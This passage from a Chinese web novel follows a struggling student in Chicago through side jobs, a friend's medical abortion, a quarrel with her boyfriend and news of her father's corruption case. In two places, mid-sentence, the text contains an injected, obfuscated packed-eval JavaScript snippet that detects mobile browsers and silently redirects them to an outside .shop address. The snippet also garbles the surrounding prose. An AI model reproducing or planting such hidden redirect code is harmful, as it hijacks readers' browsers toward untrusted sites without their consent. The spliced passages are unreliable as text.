好在经历过更绝望的日子,强大的心态算是历练了出来。她安慰自己,这次小波折不算什么,经历过谷底,以后做什么都不会比现在更差。 她决定再试试,走薄利多销的路子,至少把买工具的钱赚回来。然而新顾客还没上门,老顾客又发来消息,说颜色在太阳光下看太暗,要求卸掉重做。 霍嘉蔚果断拒绝了。 当初给这位顾客做美甲时,她就表现得挑剔,一会质疑霍嘉蔚手艺生疏,一会嫌用的甲油胶档次低。 此刻,看到这条莫名其妙的售后消息,霍嘉蔚越想越气,索性把所有低价帖子都删了,价格统一调回市场价,随缘接单。 没有顾客,她就给自己做,给朋友做。 第二次享受霍嘉蔚的美甲服务,聂希喆坚持要付钱。霍嘉蔚怎么都不肯收,两个人僵持了一会儿,最后以聂希喆请她吃晚饭才算作罢。 聂希喆来自川蜀,常年在外的漂泊生活,让她练就了一手好厨艺。霍嘉蔚的口味偏内地西北,也能吃辣,对聂希喆做的川味美食赞不绝口。吃饭时,两人不知不觉多聊了许多。原本颇有距离的合租关系,在一顿晚饭中悄然拉近。 聂希喆说很羡慕嘉蔚,家世给了她很好性格滋养,哪怕经历挫折,至少还有试错的空间,随时都有换条路重新再来的勇气。而自己出生在农村,靠高考走出家乡,除了读书,似乎没有别的上升路径。 霍嘉蔚内心有苦难言,她不好意思提这段时间自己过得有多狼狈。所谓的勇气,说白了,都是被逼出来的。 * 籍又夏的人情霍嘉蔚一直记在心里。她给籍又夏发消息,问要不要体验手绘美甲。 隔了一天,她才回消息,说自己最近不在芝加哥,过段时间再约。 霍嘉蔚没觉得有什么不对,直到几天后,某个晚上,黄家松忽然找她,没头没尾地问了句:“我记得你是又夏的朋友?” “怎么了?” 对话框显示对方正在输入中,十分钟后,黄家松回:“能聊聊吗?” 半夜和异性打电话,不太合适。霍嘉蔚借口在和男朋友连线,让他有事打字说。她也没说谎,确实每天睡前都要和徐继唯视频聊天。 半个小时后,黄家松发来一段文字。霍嘉蔚正和徐继唯打着视频,他说易闵闵决定买下那栋楼了,最近在找设计师装修。 “酒店开业会举办活动赛,到时候我拿下冠军,奖金都给你。” 霍嘉蔚正逐字阅读黄家松的小作文,反应迟了点:“不许输”。 自从不用考虑未来,他们的关系又回到了从前。徐继唯拍胸脯让她放心,必须把这笔羊毛给薅到手。没聊两句,两人都心照不宣地说困了,挂了视频。 看到黄家松的小作文,霍嘉蔚才知道他和籍又夏“分手”了。 按黄家松的说法,是籍又夏交了新男友,把他甩了。 他自嘲:像我这样,掏空心思也掏空了口袋,竹篮打水一场空,真惨。 这是承认自己当备胎了? 霍嘉蔚一时不知道如何回复,不轻不重地安慰了句:可能她觉得你们不合适,早点说开也挺好的。 没想到黄家松这 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霍嘉蔚皱眉,拼命回想那天的情景,只记得籍又夏匆忙来了一趟,和自己拍了几张照,接着就说有约会,着急走了。算起来,她似乎没在现场停留多久,所谓的看展认识大概是随口胡诌的。 “我帮你打听一下吧。” 为了让话题尽快结束,她只能这样回复。 隔天,或许是冷静了下来,黄家松意识到自己的行为有些冒犯,主动找霍嘉蔚解释。 她松了口气:“没事,人之常情”。 “你今天还去培姐家做家教吗,我也去,顺道带你。” 有便车,不坐白不坐,霍嘉蔚想也没想就答应了。 路上,她担心黄家松追着问籍又夏的事,一上车就岔开话题:“你的公众号登广告怎么收费?我最近在做上门美甲,想宣传宣传。” “真搞起美甲了?听人劝,发大财,你以后肯定能翻身”,黄家松换了个人似的,语气轻松:“不过我那账号打算卖掉了,这两天不更新了。你可以把文案发我,回头我替你发一下。” 难怪最近没看到他刷屏式发朋友圈,这是准备转行了?霍嘉蔚下意识追问缘由,他没有回避,说自己打算离开芝加哥,今天就是去和赵培道别。 原来他确实是香港人,不过是十几岁移居过去的,父母做茶餐厅的生意。按计划,他念完书就该回香港工作了。可为了追籍又夏,不惜和家人闹僵也要留在美国,一度被父母断了生活费。 好在他一直有做副业,自给自足不说,还赚了不少。 如今籍又夏已经明确拒绝他,连当备胎的余地也没有,他干脆决定回国了。 霍嘉蔚觉得挺可惜的,自从她做了上门美甲之后,才发现积攒客户、树立口碑不是件容易事。黄家松好不容易把本地留学圈的一条龙服务做起来,现在说放弃就放弃,看来是真死心了。难怪他昨晚会聊那么多,这样一想,霍嘉蔚又有点理解他了。 “你感兴趣吗?我可以把公众号卖给你。” 都到了这种时刻,他还不忘找买家。霍嘉蔚摇头,学美甲已经浪费了太多时间,她总得找份正经工作,不能只搞副业。 黄家松也不生气,说起她那辆沃尔沃,因为着急脱手,后来降了两千才卖出去,抱怨道:“我这波亏大了”。 “做生意嘛,总是有赚有赔的”,霍嘉蔚感叹:“我要是有钱就把它买回来了,现在没车真挺不方便的。” 黄家松一听,拍了拍方向盘:“这不有辆现成的,你要吗?” 霍家蔚扫了内饰一眼,太普通了,她看不上:“额,倒也不用”。 黄家松不死心:“油耗低、维修方便。你要的话,三千就能开走。” 霍嘉蔚犹豫了。 她确实想买辆便宜的二手车。有了车,出行方便,搞副业也更灵活。黄家松之前提的机场接送、外卖跑腿这些兼职,她想了想,其实自己都能做。 14. 第 14 章 接下来的几天,黄家松时不时给霍嘉蔚发消息,倒是没提籍又夏,反复推销那辆被倒腾了几手的丰田。 经不住他隔三差五念叨,加上价格从三千掉到了两千五,霍嘉蔚最终同意接手。 办好车辆过户手续后,黄家松说明天就回国了,想请霍嘉蔚吃个告别饭。 哪好意思让他请,霍嘉蔚忙说:“我请吧,感谢你之前帮忙介绍兼职。” “好说”,黄家松也不客气,把驾驶位让给她,自己坐进了副驾。 想着请客吃饭不能太寒酸,她选了一家以前常去的日料店。 进店落座,点完餐,黄家松忽然叹气:“又夏以后就拜托你了。” 他说得郑重其事,有种临走前的托付意味。 霍嘉蔚哭笑不得,无奈道:“首先,我和她私交真的不多;其次,大家都是成年人,她应该不需要谁照顾。” 黄家松摇头:“她其实特单纯,没什么朋友,我挺担心我走了之后,她一个人会抑郁。说起来有件事我很后悔——” 霍嘉蔚竖起耳朵,既好奇,又担心知道太多给自己惹麻烦。她喝了口水,听他继续说。 “有一回我们聊天遇到分歧,当时情绪上头,我下意识说了句‘你不懂也正常,谁让你没爸教’……” 霍嘉蔚放下杯子,疑惑:“她爸爸怎么了?” “去世得早。后来她妈交了一个美国男朋友,就把她带过来了,不过那老头年纪有点大。” 霍嘉蔚端起杯子,连喝了几口水,拼命把心里的震惊压回去。 “那话对她伤害很大。虽然她没表现出不高兴,但后来只拿我当刷卡机用了”,黄家松说得苦兮兮的,好像他才是那个受害者。 说来说去,还是自己心甘情愿。这会儿又聊这个做什么,诉苦?想要回钱?霍嘉蔚“哦”了一声,没敢接话。 正好服务员上菜了,她拿筷子夹了块寿司,低头吃东西。 黄家松看她,欲言又止:“她挺不容易的,我多少还是有点担心。” 霍嘉蔚心想这年头谁容易,你还是心疼心疼自己吧,嘴上却说:“放心,她没你想得那么脆弱。” “但愿吧”,黄家松低头吃了几口东西,又抬头,再次开口:“这几天你们联系了吗?” “她好像不在芝加哥”。 “你怎么知道?” 啪的一下,霍嘉蔚把筷子放下:“老兄,你到底想干什么,别绕圈子好不好。” 黄家松深吸了一口,道:“能帮我带句话吗?” “什么意思?”霍嘉蔚还是一头雾水。 “我明天九点的飞机,走之前,想再见她一面。” “你想让我把她约出来见你?可她去外地了。” “她在”,黄家松看了眼手表,笃定道:“现在回了”。 霍嘉蔚靠回椅背,抱着手臂问:“你怎么知道?” 黄家松端起水杯抿了一口,半晌,放下杯子:“她订机票刷的是我的卡。” 霍嘉蔚噎住,沉默。 “不用你帮我约,我只想让她知道我明天走,来不来随她。” 霍嘉蔚叹气,决定替他发这个消息。 晚些时候,籍又夏回了消息,表示愿意去机场送黄家松,但希望霍嘉蔚陪着一块去。 说是怕麻烦,可麻烦真来了,霍嘉蔚还是张开手臂迎接。 再次坐上这辆丰田,驾驶座已经从黄家松换成了霍嘉蔚。籍又夏有些愣神,一路上,她罕见地沉默。 霍嘉蔚用余光瞥了几眼,觉得她的五官又有了些变化,也可能是妆容淡了的缘故,看着比以前更自然。 为了缓和气氛,她放了首轻快的音乐,可渐渐地,她在籍又夏的脸上捕捉到了一丝伤感。 她很好奇籍又夏对黄家松是什么想法,明明很依赖对方,却只拿他当“准男友”。如果不是经历过和徐继唯的拉扯,她恐怕理解不了这种“分不开又断不了”的无奈。 到航站楼时,黄家松果然等在安检口。 籍又夏看见他,站在原地,不肯再上前一步。 “嘉蔚,拜托你把这个给他”,她从包里掏出一个信封。 从微微鼓起的形状来看,有点像是现金。霍嘉蔚没有接,而是劝她:“来都来了,要不你自己给?” “我不想面对他,里面有我想说的话,你能帮帮我吗”,她语气近乎哀求。 “好”。 霍嘉蔚拿了信封去找黄家松。 “什么意思?”他不肯接,忽然想到了什么,脸色变得难看。 霍嘉蔚把信封塞到他怀里:“我不清楚,也许里面有她想说的话?” 黄家松闻言,拆了信封,里面有一沓现金,还有一封手写信。 籍又夏一直看向这边,见黄家松拿出信封,心忽然一紧,随即猛地转身,快步跑开。 “你保重,我先回了”,霍嘉蔚见状,向籍又夏离开的方向追去, 黄家松拉住她,最后留下一句话:“告诉她,如果愿意,随时来香港找我”。 她随口应下,一边小跑,一边忍不住想,自己怎么就成这两人的传话筒了。没等她追上,徐继唯打来电话,她停下,喘着气接听:“喂?” “你在哪?” 他语气有些生硬。 “来机场送人,怎么了?” “谁啊,值得你大早上的你跑一趟”。 “一位朋友今天回国,就上回和你说过,给我介绍兼职的那个。” 徐继唯沉默了片刻,道:“你什么时候回,中午一起吃饭。” 挂了电话,霍嘉蔚发现籍又夏没走远。她蹲在靠近柜台的角落,把头埋进膝盖,低声抽泣。 霍嘉蔚抬头望天花板,长叹了一口气,接着从包里翻出纸巾,弯腰递过去:“哭多了会长皱纹的”。 “谢谢”,籍又夏吸着鼻子,声音干涩。 回去的路上,霍嘉蔚听到了另一个版本的故事。 “阿松很好,但他对我来说,只是同事。” “同事?” OnlyFans刚上线的时候,籍又夏好奇心重地注册了账号,快人一步地成为一名线上内容创作者。起初秀身材和颜值,后来嫌订阅量太低,画风逐渐跑偏——她成了擦边博主。 黄家松玩过几年摄影,一次约拍,结识了籍又夏。随着交往渐多,两人熟络起来,他顺其自然地成了籍又夏的摄影师。拍摄时公事公办,镜头外暧昧悄然滋生。 某个失控的时刻,他们越了界,关系一度不止是单纯的合作。 怕霍嘉蔚不信,籍又夏打开了账号主页。 霍嘉蔚捂着眼睛,嘴上说“不看不看”,却还是偷偷瞄了一眼。内容没她想象中露骨,走得是颜值路线。画质清晰,光影和谐,颇具观赏价值。 如果看到陌生人搔首弄姿还好,可一想到是熟人,霍嘉蔚只觉得浑身不自在。 她让籍又夏赶紧把手机关了。 籍又夏并不觉得羞赧,语气大大方方:“都说我花了他很多钱,可我也带着他赚了不少钱好吧。他一直劝我别做这个,跟他回香港。可我明明可以自力更生,为什么要去做茶餐厅老板娘,一辈子被困在收银台?” “那你喜欢他吗?”霍嘉蔚疑惑,从长相来说,黄家松不帅,从财力来说,他也不够富。她内心有种偏见,觉得籍又夏这种完美主义女孩,本质上都是慕强的,应该会选择财貌顶级的男人。 籍又夏不置可否:“我享受阿松的陪伴。但我们本质上不是一类人,就这样浅尝辄止,挺好的”。 “是因为那句话?” “哪句话?”籍又夏不解。 霍嘉蔚把黄家松内疚的事复述了一遍,籍又夏十分意外,她并没有放在心上:“如果非要说原因——” 她看向霍嘉蔚,似乎在确认什么,接着坦白:“大概就是他还不够有钱”。 她说得云淡风轻,这让霍嘉蔚有些不解。既然如此,那为什么把钱还给黄家松? 大概是看出了霍嘉蔚的困惑,籍又夏补充:“我上周被请去拉斯维加斯跳舞女秀,除了出场费,现场还不停有人往我胸口塞现金,一晚上能赚五位数。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477966|201592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她语气骄傲,眉眼间又充斥着淡淡的不屑和轻蔑,像在和谁较劲似的。和刚才躲在角落伤心的样子判若两人。 “你去跳舞赚钱,就为了还黄家松?” 霍嘉蔚心想,何苦呢。 她已彻底被这两人的行为刷新认知,世界观临近坍塌的边缘。好在黄家松已经走了,现在只求赶紧把籍又夏安顿好,以后能不招惹就不招惹,赶紧和他们这场狗血戏码撇干净关系。 “只要我想赚钱,有的是办法,我根本不需要花他的钱”。 话音一落,籍又夏哇的一声哭了出来,不同于在机场的隐忍和克制,哭声撕心裂肺,闻者揪心。 怎么一阵晴一阵雨的,霍嘉蔚头疼,急忙找地方停车。 “怎么了?” 籍又夏捂着脸,声音哽咽:“我有了”。 “有了什么?”霍嘉蔚愣住,过了好几秒才反应过来。她忍住惊讶,下意识看了眼时间,离起飞还有半个小时:“黄家松应该还没过关…” 籍又夏摇头,缓缓拿开手,满脸泪痕:“不是他的”。 …… 半个小时后,徐继唯再次打来电话,问她中午想吃什么。 “我一时半会走不开,要不中午你自己吃?”霍嘉蔚看着双眼哭肿的籍又夏,不忍留她独自一人。 “行,你忙吧”,徐继唯语气冷淡,说完就挂了。 霍嘉蔚还在想男友是不是生气了,籍又夏的发问打断她的思考。 “嘉蔚,我该怎么办?” “还能怎么办,当然是拿掉”,霍嘉蔚不假思索,尽管这个回答很残忍。 “可我害怕”,籍又夏下意识否决。 “别糊涂了,你才20岁,要想想自己的未来。” …… 籍又夏一点也看不出怀孕的迹象,可检测试纸上却是实实在在的两道杠。 “你不准备找那个人负责吗?”霍嘉蔚试着问。 “是我自己玩脱了”,籍又夏说得潇洒,但事实上,她并不认识孩子的父亲——酒吧派对上看对眼的帅哥,一夜过后,谁也不记得谁。按时间算,只能排除黄家松。 霍嘉蔚怔住了。她的三观再次被揉碎重组,如今已彻底晕头转向。知道有些人很开放,但没想到能开放到这种程度。 她骨子里还是偏保守的,至少在两性关系上接受不了太open的relationship。这会儿她只觉得头皮发麻,恨不得立刻转身离开,和籍又夏划清界限。 可转头看见她缩着肩、脆弱无助的样子,那股逃离的念头又止住了。 一声无奈的叹息卡在胸口。 两人去了医院。 医生给了籍又夏一个假惺惺的美式“安慰拥抱”,接着就冷酷无情的告诉她,药物终止妊娠会很疼,数倍于极度严重的痛经,建议她做手术。 为了不伤害子宫,籍又夏还是选择了药流。 做下决定后,她紧张到无法思考,后续的沟通都由霍嘉蔚代为完成。 “第一步口服米非司酮,阻断孕激素;第二步,24至48小时后使用米索前列醇,排出妊娠组织……实在疼得厉害,就打急诊。” 就这样,霍嘉蔚被迫掌握了一门用不上的知识。听到医生描述孕囊掉出来的颜色和形状时,她心里有种一种说不出的沉重。 离开医院,籍又夏祈求:“嘉蔚,我知道有点麻烦你了,可是我找不到别人……这两天,你可以陪着我吗?” “好,我陪你”。 明明在医院的时候,霍嘉蔚就一度想撤,不想把时间耗到这种糟心事中。可籍又夏一开口,她还是无法拒绝。大概出于同性之间的相怜,又或者真听进去了黄家松的嘱托,拿她当朋友了。 两次用药的间隙,担心籍又夏一个人搞不定,霍家蔚干脆留在了她家。 她从没想过,自己的人生会有这么一天:为了一个并不熟的女孩,在陌生的公寓里守着,等她服药、听她哀泣、看着她流血、恢复…… 时不时的,脑中也会闪过一个恶毒的词:自作自受。 15. 第 15 章 门铃响个不停。 聂希喆以为是霍嘉蔚忘带钥匙,随即想起她这两天住在朋友家,又怀疑是楼下流浪汉在乱按,磨磨蹭蹭没来应门。 过了片刻,门铃总算停了。随后响起更急促的敲门声,她被吵得有些烦,匆忙跑出来,谨慎地探头从猫眼往外一看,居然是徐继唯。 “你找嘉蔚?”她开门,让出一条缝,“她这两天不在”。 “不在?”徐继唯脸色极其难看,连基本的礼节都顾不上,径自问道:“去哪了?” 聂希喆回呛:“我怎么知道,她不是你女朋友吗?” “打扰了”,他往屋内看了一眼,掏出手机给霍嘉蔚打电话。 早在霍嘉蔚和黄家松在日料店吃饭那晚,就被熟人碰见,拍了照片传给徐继唯。当时他便心生不满,但勉强还能理解。偏偏第二天,又被她临时放鸽子,说实话,他最不能忍的,就在霍嘉蔚心里,还有人比自己还重要。 他沉默了几天,憋着气等她来解释,哪怕一句安抚也好。可她忙得不见人影,连每天的睡前通话都变得敷衍。 今天他实在按捺不住,直接找上门。本来想突击一下,看看她到底在忙什么,结果倒好,人不见了。 电话接通前,徐继唯脑补了各种猜测,心情越发愤怒。 籍又夏在厕所吐到昏天黑地,接着,里面传来抽水声和低沉的哭泣。 霍嘉蔚站在门外,问:“你还好吗?” 过了几秒,籍又夏蜷着身扶墙出来。她脸色惨白,额头、鼻尖都渗着汗,像是刚从酷刑里挣脱。 她勉强抬起手,抓住霍嘉蔚的袖子:“可以帮我买份k记的土豆泥吗?” 话刚落下,一阵更猛烈的绞痛袭来,她被迫蜷成虾状蹲在地上。 “我给你点个热汤吧,都这种时候了,还是吃点好的”,霍嘉蔚扶住她。 籍又夏摇头:“我只想吃土豆泥。这边的k记,只有土豆泥和国内是一个味道,我每次想家,或者心情特别差的时候,只想吃这个。” 霍嘉蔚莫名觉得心酸:“好,我给你买”。 打开手机点外卖,接到徐继唯的来电。 “喂……怎么了”,霍嘉愣住,看了眼籍又夏,走到一个相对安静的角落:“我在外面,籍又夏家里,她身体不舒服,我在照顾她。” 徐继唯气得想把手机摔了,讥讽道:“卖房、当家教、做美甲……这会儿又给人当起保姆了?你可真能干。” “情况特殊,我回头和你解释”,霍嘉蔚被他说得脸一红,心情复杂。 “你在哪,我要去找你。” “不行,现在不太方便”,她下意识回绝。 徐继唯冷笑一声,提高了音量:“那你告诉我,她到底哪里不舒服?需要一个大活人守在旁边?” 霍嘉蔚硬着头皮道:“她失恋了,我在安慰她。” “失恋?”徐继唯显然不信:“用得着安慰两天?” 霍嘉蔚心里一慌,再次解释:“我在她家呢,怕她想不开。” “你们什么时候这么熟了?” 徐继唯想起一些传闻,脑子里立即亮起红灯警报,他眉头紧锁,冷声逼问:“我就问一句,你今天必须在那吗?” 霍嘉蔚呼吸一窒,想说“不”,可回头看到籍又夏虚弱地靠在沙发边,脸色难看得像随时会挂掉,她说不出口。 挣扎了半晌,她退了一步:“你不信的话,可以来找我。” 徐继唯的声音依旧很冷:“地址”。 “我发你微信。对了,顺便带点东西过来。” 挂了电话,霍嘉蔚心烦意乱。她很了解徐继唯,平时不轻易生气,一旦生起气来,就会极度固执和情绪化,听不进任何解释。这次确实是自己理亏,她做好了迎接风暴的准备。 意外的是,徐籍唯出现时面色平静,他连门也没进,只将打包的食物递过来。 霍嘉蔚准备了一肚子的说辞没机会说出口。 见他要走,她急忙追了过去:“继唯,这次情况特殊,我真不是故意瞒着你。” 徐继唯停住,却没有回头:“你不嫌丢人吗?” 霍嘉蔚怔住,表情木然:“什么意思?” 他转身,看她:“和这种人混在一起,不嫌丢人?” 空气陡然沉寂。 霍嘉蔚无法辩驳,因为她连自己都没说服,为什么要照顾一个连朋友都不算的熟人。 可她不想吵架,至少不想在此刻起争执。沉默良久,她开口:“回去注意安全。” 话音一落,徐继唯果断抬腿离开。 看着他的背影消失在走廊,她调整了情绪,回到屋内。 籍又夏手里夹着一支没点的烟,她并不抽烟,却喜欢拿着烟把玩,总觉得有种刺激感。 隐约猜到了什么,她小心探询:“怎么,你男朋友生气了?” 霍嘉蔚没有回答,默默拆开包装袋,将勺子和土豆泥递过去。 见她沉默,原本一脸淡然的籍又夏突然有些内疚,“如果是因为我……” “行了”,霍嘉蔚下意识打断,语气有些不耐烦:“赶紧吃吧”。 籍又夏像是没听见,有些发呆地看着手里的万宝路。霍嘉蔚见此情形,意识到自己挂脸了,心软下来一些:“和你没关系,是我们没沟通好。” “为什么”,籍又夏脱口而出。 霍嘉蔚从她手机抽走香烟,把土豆泥推过去,自嘲地笑了笑:“还能为什么?他觉得我跌份,我觉得他瞧不起人”。 这几次见霍嘉蔚,都是乐观积极的样子,似乎一点没受风波的影响。籍又夏以为瘦死的骆驼比马大,就算她再不济,境况也比自己好得多。 她一度羡慕霍嘉蔚处变不惊的气度,没想到人家也是有苦难言。 “你们感情那么好,可以说开的”,她拿起勺子刮土豆泥,突然没了食欲。 霍嘉蔚摇头,赌气道:“再说吧。分手也好,反正我会拖累他。” “你不觉得可惜吗?我挺羡慕你们的。” 霍嘉蔚不想再聊这事,把话题抛了回去:“那你和黄家松分开,不可惜?” 她甚至觉得,以黄家松的痴情程度,就算知道了怀孕这事,也会和籍又夏一起承担。 “不一样”,籍又夏脸上恢复了几分血色,声音冷静得吓人:“我是个居无定所的人,我的感情也没办法安定。” “可你得爱护自己”,霍嘉蔚斟字酌句,把憋了很久的话说了出来。 “你是想表达我不够洁身自好”,籍又夏坦然一笑,眼里带着几分无奈:“我也想。可一旦陷入一段正式的关系中,我就忍不住担忧,不是反思自己不够好,就是害怕对方会变心。对我而言,短期临时的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477967|201592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关系更轻松。也许这是一种病态行为,可谁没有点病呢?就让我带着这点小病活下去。” 说到最后,她的语调竟有些上扬,传递出一丝解脱的情绪。 霍嘉蔚由衷欣赏她的坦率,却无法认同这种理念。她沉默了一会儿,缓缓开口:“你这样折腾自己,并不轻松。” 籍又夏耸了耸肩,苦笑道:“这就是我的生活方式,好坏我都能承受。” “我懂了,自虐是你的保护机制”,霍嘉蔚总结。 籍又夏一愣,觉得这个说法很有意思。她想了想,忽然道:“你也一样”。 霍嘉蔚下意识否认:“我才不是”。 籍又夏疑惑看向她,还未开口,便被霍嘉蔚堵了回去:“你快吃吧”。 她当然猜到对方想说什么,无非是你男朋友条件不错,明明可以靠他过得轻松点,为什么还要四处打工、自找苦吃。 理论上,她确实可以放下身段依赖徐继唯,反正他们早有口头婚约,只要想办法把结婚提上日程,眼前的困境似乎都能迎刃而解。 可她做不到。 她不想在感情里掺杂不纯粹的成分。 交易是交易,感情是感情。 不能混为一谈。 退一万步讲,如果哪天,她真的窘迫到要靠出卖真心换取物质回报,那交易对象,也不应该是徐继唯。 “你有火吗?”霍嘉蔚看着手里那根烟,突然想试试。 籍又夏说没有,并不想让她抽。 吃了几口土豆泥,她恢复了一些体力,顺势打开心扉,说起了自己的来美国的经历。 12岁那年,母亲的“男朋友”把她们接来美国,说是改善生活,实际上却要以照顾他的起居、满足他的养老需求为代价。 她们住在郊区的别墅里,没有一个佣人。从院子除草到一日三餐,所有的家务都落在她母亲身上,而那个老男人,则像帝王一样享受着悠闲的生活。 她偷偷问过母亲,为什么不离开?可母亲每次只是摇头,说这样挺好。后来老男人信守承诺,资助她上了大学。 而她离家后的第一件事,就是拼命赚钱。她要摆脱对老头的生存依赖,把妈妈从无尽的家务中解放出来。 她毫不否认“捞女”传闻,也承认曾经为了钱,差点误入歧途——认识黄家松之前,她交过一个富豪男友,对方体贴周到,十分舍得花钱。可某次陪他参加酒会时,竟打算将她灌醉,送到陌生人床上。 “那时候太小,只图一时虚荣,差点成了别人的玩物”,她语气轻松得像在聊别人的故事。 霍嘉蔚想起自己前二十年顺风顺水的生活,忽然觉得无比知足。 “我不想为自己辩解,直到今天,我依旧很虚荣,也贪图财富”,她低头,看自己的肚子:“还不够聪明,吃了不少亏”。 “其实我有想过,要不要把这个孩子生下来,给自己制造一点羁绊和牵挂。毕竟人生这么长,没点盼头真的很难走下去。” 霍嘉蔚懵了。她不明白,一个二十出头的女孩,为什么会有如此沉重悲观的念头。 “你别傻了,你马上就要大学毕业,以后还有更精彩的人生”,她劝慰。 “没意思”,籍又夏眼里没光,“我是个没理想的人,对长远的事物不感兴趣,短暂的刺激产生的快感,才让我偶尔觉得自己还活着。” 16. 第 16 章 这段时间,蔚容茵那边陆续传来好消息。她奔波数日,终于把手续办齐,成立了一家海珠工艺品生产公司。 沈珺负责工艺与生产,蔚容茵主管对外沟通和市场渠道。工厂相继招了几批手脚利索的妇女,又进购了一批设备,把从前零散的代工活变成了有秩序的生产线。 为此,她去邻市一家成熟工厂“蹲”了半个月,偷师行业经验;又捡起多年没碰过的电脑,一口气报了几门知识付费课程,系统地□□营和市场推广;还加了不少乡镇企业协会,积极参加项目和研讨会,快速积累人脉。 “已经接到小单了,再跑几个渠道,说不定能做品牌。” 上回通话时,霍嘉蔚就被这股力量感染到——妈妈快五十岁了,还在努力重新创业,而她才二十岁,又有什么理由不把握机会? 所以当籍又夏把伤痛当借口,为自己那些离谱又放纵的行径正名时,霍嘉蔚并不能真正共情她。 这几天,受太多负面沮丧的情绪影响,她十分低落,需要一些正向的精神鼓舞。 从籍又夏家里离开,迫不及待给妈妈拨了电话。 蔚容茵在纠结是否要追投一笔资金。目前工厂已顺利运转,手头还剩十几万的流动资金,只够维持两个月的开销。 她想招一批专业的工艺师和质检员,把产品往小众精品化方向推,聚焦中高端市场,但也意味着前期投入的战线被拉长。 当初说好只投一百万试试水,现在生产线一跑起来,工人、设备、场地、供应链都走上正轨。深入行业,看到更多的发展潜力,她有点不甘心止步于此。 创业没有回头路。 她把选择权交给女儿:“嘉蔚,如果你同意,妈妈就继续做下去;如果你不同意,那就不往前冲了。” 霍嘉蔚几乎是毫不犹豫地点头,她想劝妈妈放开手脚干,千金散尽还复来,那么多钱都打水漂了,这点算什么。但一提到钱,她有点心虚了:“妈妈,你这次要多少?” “五十万,你还是转给沈阿姨”,蔚容茵解释:“和你爸走得近的马市长被留置了,他拿着□□出国,被海关扣下。最近警方联系我,要配合核实婚姻存续期内的资金流向。” 她顿了顿,语气反而无比轻松:“幸好他在在国外的房子没舍得放你名下,否则你也得被调查。” 一股冷风从背脊灌到心口,霍嘉蔚怔住:“那他现在?” 蔚容茵说这话时,有种大仇得报的快感:“公司被国资委接管,账目彻查。他挪用资金、贿赂官员的事,都得被追究。真没想到,他手里居然还有那么多钱。” 霍嘉蔚的心猛地沉了下去:“妈妈,你不会有事吧?” “当初他在外面找小三,自作聪明地架空我,现在倒是因祸得福了”,说太多,怕女儿心里承受不住,蔚容茵换了个话题:“你还好吧,和小徐怎么样?” “挺好的”,霍嘉蔚迟疑了一下,此地无银地补充:“还和以前一样”。 蔚容茵叹了口气,显然不信。她信得过徐继唯的人品,却信不过他的家人。换位思考,准亲家出了这种事,她也无法继续支持这门婚事。 “嘉蔚,不要让感情占据你全部的生活,更不要被它支配。享受恋爱的过程,不用太在意结果”,蔚容茵点到为止。她不能唱衰女儿的爱情,只能在提醒之余,提前铺垫负面的心理预期。 享受过程?霍嘉蔚被点醒。一直以来,她太担心徒劳无功,而想草草结束这段感情。但其实,她和徐继唯之间没有出现新的矛盾。如他所说,是她的自尊心作祟,一直把他往反的方向推。 “妈妈,我知道。我最近开始找工作了”,她说着自己的近况,想让妈妈更放心一些。 “可惜今年春节,咱们不能团聚了”,蔚容茵的声音低了下去。 提到春节,触动了霍嘉蔚思乡情绪。她一直故作坚强,终于有些撑不住,声音哽咽:“妈妈,我很想你。” 蔚容茵沉默,半晌才说有机会来美国看她。 “好”,霍嘉蔚忍住眼中盘旋的泪。 挂了电话,她把上次卖车的钱转到沈珺的账户。早就猜到妈妈创业需要大量资金,她一直没动这笔钱。 这段时间兼职收入越来越稳定,加上又办了几张信用卡,薅各种返现福利,几张卡倒来倒去,零零散散加起来,勉强能应付房租和日常开销。 黄家松走时,把美国手机注册的微信助理号给了她。里面有上千个好友,基本都是本地留学生,还有十多个社群。靠着这些客户资源,她顺利承接了一部分“机场接送、驾校陪练、倒腾二手、代购”之类的业务,也有了渠道宣传上门美甲服务。 忙碌之余,她给徐继唯发了长消息,解释和籍又夏结交的来龙去脉,试图修复关系。涉及籍又夏隐私的部分,她只字未提。正是这段细节处的空白,让她的解释显得苍白无力。 果然,徐继唯不仅不信,连带着质疑起了其它行为。 【所以呢,和我有什么关系?】 【打这么多字,浪费半个小时,耽误你赚钱了。】 【那黄家松呢,你还有闲心单独和他约会。】 【按理说三天不联系,就默认分手了。在我去找你之前,咱们几天没见了,你给我主动发过一次消息吗?】 【先冷静冷静吧,不用回。】 看着这些刻薄又冷漠的文字,霍嘉蔚如坠冰窖。 虽然一直在做分手的心理准备,可当危机真的出现,她还是慌了。 她不是接受不了分开,只是无法接受这样的分手理由。 就因为她和一个同性朋友走得近了些?还是说,在徐继唯心里,把她和籍又夏当成了一路人? 越想越荒谬,越想越委屈。拿上了徐继唯家的备用钥匙,霍嘉蔚决定找他说清楚。 她想好了,如果见面之后,他还是那副阴阳怪气、拒人千里的态度,她就把钥匙还回去,干脆利落地说分手。如果他态度尚可,那她愿意再解释一遍,澄清误会。 拉扯到现在,总该有个说法。 她赶到徐继唯的公寓,敲门前,听到里面传来震耳的音乐和嘈杂的笑声。 心突然揪得厉害,她深吸了一口气,掏出备用钥匙。推开门,一股浓重的气味冲进鼻腔,甜腻的香水、混着浓烈的酒精、烟味,还有刺鼻的大麻…… 